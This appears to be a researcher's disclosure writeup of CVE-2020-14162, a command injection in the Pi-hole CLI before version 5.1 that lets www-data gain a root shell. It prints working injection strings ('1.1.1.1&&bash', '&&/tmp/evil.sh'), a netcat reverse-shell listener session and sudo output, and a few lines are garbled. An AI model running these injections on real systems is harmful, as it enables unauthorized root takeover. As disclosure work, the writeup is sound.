

Jul 21, 2020

tl;dr

CVE-2020-14162: `sudo pihole -a setdns 1.1.1.1&&bash` to get root shell (need to be able to run pihole with UID 0, www-data can) on <5.1

```
$return = exec("sudo pihole -a setdns \"\".$IPs.\"\" \"$extra");
```

This file is a list of semicolon separated IP addresses that can be selected to be pihole's upstream DNS server. I tried appending a command to the end of an IP address to see what would happen. The only thing that I could get to work was appending `&&/tmp/evil.sh` to the end of an IP, where `evil.sh` is a reverse shell script.

[illegible]

```
nc -lvp pi@raspberrypi:~/py $ nc -lvp 4242
Listening on [0.0.0.0] (family 2, port 4242)
Connection from localhost 54932 received!
root@raspberrypi:/var/www/html/admin#
```

What I didn't notice at first was that this really shouldn't have returned a root shell. I thought that the command being run was `sudo pihole -a setdns 1.1.1.1&&/tmp/evil.sh`, which should return a shell as `www-data`, not root, since `sudo` doesn't carry over to the command on the other side of the double ampersands.

I didn't think too much of this though, because at the time `www-data` could run any command with `sudo` without a password. However, the developers later restricted `www-data` to only be able to run `pihole` as root.

Which means that we can just run `sudo pihole -a setdns "1.1.1.1&&bash"` from the command line and get a root shell if we have permission to run that command with sudo and nothing else.

```
www-data@raspberrypi:/home/pi$ sudo -l
Matching Defaults entries for www-data on raspberrypi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi
n,
    env_keep+=NO_AT_BRIDGE, env_keep+="http_proxy HTTP_PROXY",
    env_keep+="https_proxy HTTPS_PROXY", env_keep+="ftp_proxy FTP_PROXY",
    env_keep+=RSYNC_PROXY, env_keep+="no_proxy NO_PROXY"

User www-data may run the following commands on raspberrypi:
(root) NOPASSWD: /usr/local/bin/pihole
www-data@raspberrypi:/home/pi$ sudo pihole -a setdns "1.1.1.1&&bash"
root@raspberrypi:/home/pi# _
```

This makes pihole <5.1's CLI a GTFObIn. While GTFObIns aren't normally CVE worthy, www-data having permission to run this with sudo by default makes this a vulnerability, since it effectively turns any RCE in the website into root access. This was assigned CVE-2020-14162.

" && /tmp/evil.sh" instead, but there's not much of a reason to)

Timeline:

2020-04-22: Contacted Pi-hole team for initial vulnerability

2020-04-24: Received reply from Pi-hole

2020-05-01: CVE-2020-12620 assigned, informed Pi-hole developers

2020-05-03: patch applied for release with 5.0 update

2020-05-10: 5.0 released

2020-06-08: contacted pi-hole team for second vulnerability

2020-06-13: pi-hole team replied and applied a patch for release with 5.1 update

2020-07-15: 5.1 released

2020-07-21: published writeup with go-ahead from the developers